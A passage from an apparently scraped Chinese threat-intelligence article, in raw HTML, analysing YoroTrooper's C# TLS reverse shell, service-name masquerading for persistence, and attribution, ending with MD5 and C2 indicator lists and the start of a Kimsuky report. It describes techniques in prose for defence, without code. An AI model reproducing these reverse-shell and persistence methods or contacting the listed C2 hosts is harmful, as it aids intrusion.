YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">2.1.3 C#SSLrevshelll</span></span></h4><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="">在对该组织基础设施的溯源追踪中，我们关联捕获到一款基于 C# (.NET) 开发的反向 Shell 变种。该样本核心逻辑与 Laplas 高度一致，其关键技术特征如下：</span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="">在通信与驻留层面，载荷启动后调用系统API隐藏控制台窗口以实现静默运行；随后主动连接硬编码C2（45.130.146.197:443），并通过显式覆写证书验证回调函数，强制信任自签名证书，借此构建隐蔽的 TLS 加密隧道。</span><o:page></o:page></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.502835538752363" data-w="529" style="width: 528.94px;height: 265.97px;" src="https://wechat2rss.xlab.app/img-proxy/?k=3230cdf2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJIlvJ32EnknlvLvicUwbDzib3Vr8uKSZFXibjWnZxz3zE2pxQHJ1q6Mp9QW3YBVqmLWCU0KpRyhjuRibica6nh41Qh4rbguHlibCBLs%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: justify;text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在执行与守护层面，载荷在后台静默拉起 cmd.exe，利用多线程异步机制将系统命令行的标准输入、输出及错误流与TLS隧道进行双向重定向。同时，主函数内置异常捕获逻辑，在遭遇网络阻断或底层进程异常退出时，将以 5 秒为间隔持续发起重连尝试，保障远控通道的高可用性。</span></p><p style="text-align: center;"><span leaf="" style="font-family: 等线;font-variant: normal;text-transform: none;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4442013129102845" data-w="457" style="width: 456.95px;height: 202.98px;" src="https://wechat2rss.xlab.app/img-proxy/?k=16d8d3dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKOYZpvpNhTVEZQdsuth111T2IrnQIpfV4zVnomf7iaibMJvu0pYkqmvOSgu3ibJUetKUs5Y43pPeichU6c5smObS9nFGpzhK9Cqsw%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="">该.NET 变种的投入使用，表明 YoroTrooper 组织正积极通过跨语言开发重构其核心武器库，旨在分散静态特征维度，进一步增强规避安全检测的对抗能力。</span><o:page></o:page></p><h3 style=""><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 16px;color: rgb(190, 25, 31);font-weight: bold;">2.2 持久化</span></span></h3><h4 style="text-indent: 2em;"><span style="font-family: &#34;等线 Light&#34;;font-variant: normal;text-transform: none;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">2.2.1 Nets</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">rv</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">c</span></span></span></h4><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="">在持久化阶段， Netsrvc将自身注册为系统服务，Netsrvc通过配置欺骗性的服务描述&#34;The Network Discovery Service(Network Service Discovery Protocol)&#34; 以实施名称伪装。通过将其启动类型显式设置为 SERVICE_AUTO_START（开机自启动），该恶意载荷确保在每次系统重启时，都能以 SYSTEM 最高权限在后台自动加载。这是一种典型且广泛使用的系统持久化机制。</span></p><p style="margin-bottom: 10pt;line-height: 150%;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5985533453887885" data-w="553" style="width: 552.94px;height: 330.96px;" src="https://wechat2rss.xlab.app/img-proxy/?k=bb6fc4d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLmKicTiaJmN2ytIyp3pjXkmpicMiawaUibN1cn1pbFx2OoU5ibZXDdQ79vQI3YzwyAzPeuRLLZaZKSOKakdOwic4h0Bia1vJLgLPOYN58%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 10pt;line-height: 150%;text-indent: 2em;text-align: justify;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">目标子进程成功启动后，Netsrvc的守护线程会调用 WaitForSingleObject 挂起当前执行流，对该进程的生命周期实施阻塞式监控。该函数的超时阈值被硬编码为 0x112A880 毫秒（折合 18,000 秒，即 5 小时）。基于此机制，若核心载荷持续稳定运行，守护线程将以 5 小时为周期进行轮询唤醒；一旦目标进程在超时窗口内主动退出或被外部异常终止，该阻塞状态将被即时打破，从而快速触发外层的载荷复活逻辑</span><span leaf="">。</span></span><o:page></o:page></p><p style="margin-bottom: 10pt;line-height: 150%;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.33550065019505854" data-w="769" style="width: 553.74px;height: 185.74px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8042b418&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIPMfz4gXic9ymkJPGv3DickAG0YlabyibicLRj0r543lic4qOicBPL11OPgVA4Fx778bHquQVs1HvgicG0hwrU6iasHLYmnCbNFZ6fasA%2F640%3Fwx_fmt%3Dpng"/></span></span></p><h4 style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">2.2.2 同源变种分析</span></span></h4><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="">在本次攻击活动中，我们还捕获到了功能机制完全一致的同源变种服务外壳（SSDSPSRV）及其关联载荷（srvdriv.exe）。</span></p><p style="margin-bottom: 10pt;line-height: 150%;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.536723163841808" data-w="531" style="width: 530.94px;height: 284.97px;" src="https://wechat2rss.xlab.app/img-proxy/?k=3d7c0cec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJV04EUrqbJiaqRKsPia19EEKZb1jJpja6Vhj9dUGoqT92pDRibouVaxfXblq3z1fGVdbia352Yr8icxN9Fz4s7XSUuFwvwDLb2adts%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="">该变种在免杀对抗上同样展现了典型的名称混淆手法：合法的 Windows SSDP 发现服务名称通常为 SSDPSRV，而该恶意服务将名称故意错拼为 SSDSPSRV（增加冗余字符 &#39;S&#39;），同时其显示名称与描述完全照抄系统自带的合法服务，以此掩人耳目。</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;text-align: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3346303501945525" data-w="771" style="width: 553.74px;height: 185.27px;" src="https://wechat2rss.xlab.app/img-proxy/?k=46b2d27b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJgfY2ch5YVAqan7ARiaNIQic7aPE3c13ycP57NibFoHjpu3TQN40m4L3aF37WxOibxHIrcw66nTtjSKashXBBWOR0cPMN0xVrCybU%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="">该变种服务同样复用了上述的“5小时轮询守护机制”来静默拉起并监控核心载荷 srvdriv.exe。srvdriv.exe 启动后，会主动通过 TCP Socket 连接至内置 C2 (212.193.2.162:8443)。</span></p><p style="margin-bottom: 10pt;line-height: 150%;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9680851063829787" data-w="188" style="width: 187.94px;height: 181.94px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b67eb0b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKPjBtMgl5ziaBfq471bYe0pwlCCGkLcxlSZgP5LYDlV2Wwu6JXnS37ZQUGv7z7ibwZE3XVILP820LiczmL7ibQV9CkQTBJ2MK6sUg%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 10pt;line-height: 150%;text-align: justify;text-indent: 2em;"><span style=""><span leaf="">并完全复用了 Laplas 建立 TLS 加密隧道与匿名管道劫持 cmd.exe I/O 流的技战术，最终实现同等的高隐蔽性交互式反向 Shell 控制</span></span></p><p style="margin-bottom: 10pt;line-height: 150%;text-align: center;"><span style="text-indent: 2em;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.43719806763285024" data-w="828" style="width: 553.74px;height: 242.07px;" src="https://wechat2rss.xlab.app/img-proxy/?k=81a65b77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJtrXibLoIsXITRCrl3Tm9AlUS8gqfaYIb1t2Bv3Z7ZwSzGXoZrkoWNsicg3owNVSBe4GgcTQMib13B467Md7dKT4IpxFI1gUroh0%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page></o:page></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="paragraph"><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="115672"><div style="margin: 20px auto;"><div style="display: flex;justify-content: flex-start;"><div style="transform-style: preserve-3d;"><div style="display: flex;justify-content: flex-start;transform: translateZ(12px);-webkit-transform: translateZ(12px);-moz-transform: translateZ(12px);-o-transform: translateZ(12px);"><p style="font-size: 18px;letter-spacing: 1.5px;background-color: #c6c6c7;color: #ffffff;width: 26px;height: 26px;text-align: center;line-height: 26px;box-sizing:border-box;"><span style="font-size: 18px;" data-mpa-action-id="mpfa7y7v5" data-pm-slice="0 0 []"><strong><span leaf="" mpa-font-style="mpfa7y7m1yd6" style="font-size: 15px;">0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="" mpa-font-style="mpfa7y7m1ke" style="font-size: 15px;">2</span></strong></span></p></div><div style="padding: 0 2px 0 12px;margin: -14px 0 -23px;box-sizing:border-box;transform: translateZ(10px);-webkit-transform: translateZ(10px);-moz-transform: translateZ(10px);-o-transform: translateZ(10px);"><div style="background-color: #ffffff;padding: 2px;box-sizing: border-box;"><p style="background: linear-gradient(to left, #be191f, #ac1d10);font-size: 18px;color: #ffffff;padding: 5px 20px;letter-spacing: 1.5px;box-sizing:border-box;"><span style="font-size: 18px;"><strong data-brushtype="text" hm_fix="305:351"><span leaf="">归属研判</span></strong></span></p></div></div></div></div></div></div></div></div></div><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="">综合对本次攻击事件的受害者画像、战术技术与过程（TTPs）、恶意软件代码特征及网络基础设施的深度溯源与多维交叉比对，本次攻击活动高度置信归属于 APT 组织 YoroTrooper。</span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="">本次攻击活动的中招用户包含顿涅茨克人民共和国、乌兹别克斯坦政府相关部门人员。YoroTrooper 组织长期以地缘政治为导向，主要针对独联体（CIS）国家及周边特定冲突区域的政府机构、外交实体与关键基础设施实施网络间谍活动。本次攻击的受害者身份、所在区域及潜在的情报窃取诉求，与YoroTrooper组织的长期战略目标与历史攻击画像完全一致。</span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="">本次攻击的初始投递渠道为即时通讯软件 Telegram，通过社会工程学手段诱导受害者执行恶意压缩包。利用流行社交/通讯软件进行定向钓鱼，并附带伪装的高危附件，是YoroTrooper组织极其惯用且高度依赖的初始突破策略。</span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="">攻击者未完全依赖开源武器库，而是使用了高度定制化的 C/C++ 反向 Shell 组件。其利用 Windows 匿名管道劫持 cmd.exe 配合 TLS 隧道实现隐蔽通信的手法，是该组织工具集的重要标志。</span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="">载荷中硬编码的 C2 地址使用了动态域名服务，并试图伪装成合法的微软更新流量。这种滥用免费 DDNS 服务并结合“域名白化”的伪装策略，极大降低了基础设施的采购溯源风险，是YoroTrooper长期采用的基础设施构建模式。</span><o:page></o:page></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="">基于上述多维度的特征重合，我们有极高的置信度认为，本次针对顿涅茨克人民共和国、乌兹别克斯坦政府人员的定向攻击行动，系由 YoroTrooper 组织发起的一场以情报窃取为核心目的的攻击活动。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="85638" style=""><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">附录 IOC</span></span></strong></span></p></div></div><div data-role="paragraph"><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 15px;font-weight: bold;">MD5：</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">eb9fef447c5e883c0af807992f450b60</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">3f9ee4b62da9a197b9380f6594aeef12</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">c05c4deddf9f4e4ec43cc510af903b9f</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">63ae17d887528e335080dcd73d4c5af3</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">f67337f2dcb3136fb687f901c66b34f7</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">5864668137c23d7248bbb137a5e43d07</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">55655d252dcc2d5e1168d30fff2b5e48</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">eeab58e64ed72098f778cda42537883c</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">d3e3d99b077a4193b1d93b604b096456</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">8fc604898e84fc7bf349e8359cd4a125</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">3cfeb84d4a5dde2cf789ebd8d3006029</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">5dc74828289a95682f3cfbb8ac47a624</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">e8e1555d1f8b3b56e30f2baaaffc491f</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">f9446fc64a6c06a94979b5ee311f7673</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">365a6d29a9b45c155c6e7d2704f1192d</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">5148c3ed171faf38bb33cab45307c245</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">02489f4e0fede5dcb8966e840e0adbbf</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">c2cc85e71cd58a78d2c1f336771533a9</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">0ae77c4ba8f8e8100c8889de3e64f48b</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">19319ac8398ce44bddf8cb56e90de9e0</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 15px;">e8e1555d1f8b3b56e30f2baaaffc491f</span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 15px;font-weight: bold;">C2：</span></span></p><p><span leaf="">45.130.146.197:80/443</span></p><p><span leaf="">212.193.2.162:8443</span></p><p><span leaf="">microsoft-updates-windows.servehttp.com</span></p><p><span leaf="">updates-check-microsoft.ddns.net</span></p><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="96036"><div style="margin:10px auto;"><div data-autoskip="1" style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: #3e3e3e;"><p hm_fix="208:559"><span style="color: rgb(190, 25, 31);font-size: 15px;"><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360</span></span></strong><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">高级威胁研究院</span></span></strong></span></p><p style="margin: 0px;padding: 0px;text-align: justify;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(136, 136, 136);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360高级威胁研究院是360数字安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。</span></span></p></div></div></div></div></div><o:page></o:page></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



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]]></content:encoded>
      <pubDate>Mon, 25 May 2026 17:45:00 +0800</pubDate>
    </item>
    <item>
      <title>APT-C-55（Kimsuky）组织依托GitHub+Dropbox分发恶意载荷的攻击活动分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508584&amp;idx=1&amp;sn=3983faed8f799809ecc23eb552e73548</link>
      <description>一次看似 “正常下载” 的流程，背后是一条用 Dropbox → GitHub → PowerShell → .NET 反射 串起来的分层投递链；前脚回传主机画像，后脚按需下发 AsyncRAT 插件。</description>
      <content:encoded><![CDATA[<p>原创 <span>高级威胁研究院</span> <span>2026-05-13 17:33</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=41ed00ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FEmmib7pWXrXJN517ZgzAOXqdc9ibOz1W8DfhAicPEPYdE47cUdUIoGgygMkwLO3icicYfFlJ6ffTO1ichibKqv3vxd0BXpGDSGmPdUVFtGUoXicAazg%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>一次看似 “正常下载” 的流程，背后是一条用 Dropbox → GitHub → PowerShell → .NET 反射 串起来的分层投递链；前脚回传主机画像，后脚按需下发 AsyncRAT 插件。</p>
  <div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="102539"><div style="margin: 10px auto;text-align: left;"><div style="background: #f2f2f2;"><div style="box-sizing: border-box;padding:1em 1em;"><div style="display: flex;justify-content:  space-between;align-items: flex-end;" hm_fix="312:231"><div style="display: flex;justify-content: space-between;flex-direction: column;align-items: flex-start;border-left: 4px solid #be191f;box-sizing: border-box;"><p data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 0px 0em 3px;color: #322828;margin-left: 12px;border-bottom: 1px solid #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">APT-C-55</span></strong></span></p><p data-brushtype="text" style="letter-spacing: 1.5px;padding: 4px 0em 0px;color: #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">Kimsuky</span></strong></span></p></div></div><div data-autoskip="1"><p style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;text-align: justify;"><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">A</span></font></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">PT-C-55（</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 135editor.com&#34;,&#34;style&#34;:&#34;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;102539&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px auto;text-align: left;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;background: #f2f2f2;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box;padding:1em 1em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-autoskip&#34;:&#34;1&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-indent: 2em;margin-bottom: 16px;margin-top: 16px;text-align: justify;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">Kimsuky</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">），又被称为BabyShark</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei 